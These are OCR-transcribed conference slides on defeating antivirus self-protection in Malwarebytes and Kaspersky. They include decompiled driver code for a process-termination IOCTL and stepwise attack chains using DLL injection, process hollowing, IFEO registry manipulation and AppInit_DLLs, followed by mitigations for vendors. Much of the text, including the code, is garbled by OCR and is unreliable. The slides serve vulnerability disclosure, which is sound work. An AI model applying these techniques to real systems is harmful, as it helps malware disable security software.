RY \FileSystemymrxsmb20 Vendor: ‘
RY \FieSystemMsfs
~DRY FileSystem\Mup Hardware Ids: Compatible Ids:
~DRY VFileSystem|NetBIOS
RY \FieSystem{pfs
V' \FileSystem itfs Device Capabilities:
DRY ‘FileSystem\RAW ™ DeviceD1 I™ Dodevice I RawDeviceOK I~ WakeFromD0 I~ HardwareDisabled
Y \FileSystem\dbss I DeviceDz ™ Uniqueld I~ SurpriseRemovalok | WakeFromD1 I NonDynamic
RY \FileSystem'sry I~ Locksupported [ Removable I~ sientinstal F WEEF"’"‘DZ F :‘%:5‘351‘55?00'@
#1-- DRV \FileSystemlsrv2 I Eectsupported  pggress: | WakeFromD3 joDisplayIn
------- DRY \FileSystem\srvnet Mo e DeviceState: -
¥
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https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/controlling-device-namespace-access

Breaking Self-Protection - MALWAREBYTES

» Issue #3: Local EoP

= |OCTL code 0x222024 allows a user-mode application to terminate
arbitrary process sent via DeviceloControl API

= Problem: It only allows MBAM’s own executable to execute this
command ®

// Case: 222024 (Terminate arbitrary process)
var 222024 = var_ 222020 - 4;
if (lvar_ 222024)
{
// Bail-out if KernelMode
if (!Irp->RequestorMode)
goto LABEL 323;
~// Only allow MBAM own executable
) if (ChameProcessInfolsMBAMSet (PsGetProcessId (IoGetCurrentProcess()), 0))
{

if (ProcessHandle == (HANDLE) 4)
{
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 512;
ObjectAttributes.ObjectName = 0;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
ClientId.UniqueProcess = InputBuff.Buffer;
ClientId.UniqueThread = 0;
v80 = ZwOpenProcess (&ProcessHandle, 0x10000000u, &ObjectAttributes, &ClientId);
if (NT_ SUCCES(v80))
{
status = ZwTerminateProcess (ProcessHandle, STATUS ACCESS DENIED);
ZwClose (ProcessHandle) ;
}
}

v Solution: The great old school Process Hollowing our saviour ©
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Breaking Self-Protection - MALWAREBYTES

» Issue #3: 2 Local EoP

= Exploitation steps for first EOP:
» Inject Stage 1 DLL into explorer.exe process and dropped the payload DLL file in % ALLUSERPROFILE%

directory

» When stage 1 DLL is loaded in explorer.exe process, it instructs explorer.exe to spawn arbitrary MBAM’s
executable, we used MbamPt.exe in the PoC.

» With Process Hollowing technique, we hijack the execution flow of MbamPt.exe to load the payload DLL

» The payload DLL first obtain the MBAMChaemleon device handle and then issue IOCTL code 0x222024 with
the process ID that we want to terminate

= Bonus: Found pool overflow in one of the IOCTL codes that could result in local privilege

escalation
= Chained with device driver ACL’s bypass introduced at Issue #2, we can only achieve 2 local EOP
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Breaking Self-Protection - MALWAREBYTES Demo
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Breaking Self-Protection - KASPERSKY

= Case study: Kaspersky
» Kaspersky services protected by ELAM in > Windows 8

» Cybellum’s DoubleAgent methods:

= Renamed IFEO key to temporary IFEO key (eg: “Image File Execution Options” =>
“ThisIsIFEO”

= Create avp.exe key with VerifierDlls key-value on the temporary IFEO key
= Restored the temporary IFEO key to the original IFEO key
= Pwned!
» Blocked Image File Execution Option (IFEO) to ALL Kaspersky’s executables
= Fixed Avrf DLL side loading in March 2017

» Get ready for our enhanced method!
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Breaking Self-Protection - KASPERSKY

» Qur enhanced method, a chain of auto-starts:

Lesser known auto-start, SetupExecute, using POQEXEC.exe
After trial and error, we use Applnit_ DLLs and LoadApplnit DLLs

Any executable loading user32.dll will load the payload DLL, said DLLX, specified in
Applnit_DLLs. wininit.exe has highest trust level identified by KIS self-defense!

DLLX will rename original Image File Execution Options key to Image File Execution
Option

DLLX create a new symbolic link Image File Execution Options which points to the
renamed Image File Execution Option

Create avp.exe key with VerifierDlls key-value on Image File Execution Option
Pwned!
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Breaking Self-Protection - KASPERSKY DEMO
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Conclusions / Take-aways

= Process hollowing actively adopted by CIA to attack software security
vendors

= Create awareness to other software security vendors

= Other vendors beside the one discussed here remain unaudited

= Best practices/mitigations:

» Always check the root-parent process’s trust level IF executables whitelisting is
unavoidable

» Implement the self-protection filter logic in obfuscated scripts resided in DB
from user-mode component
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Thanks!

Questions?
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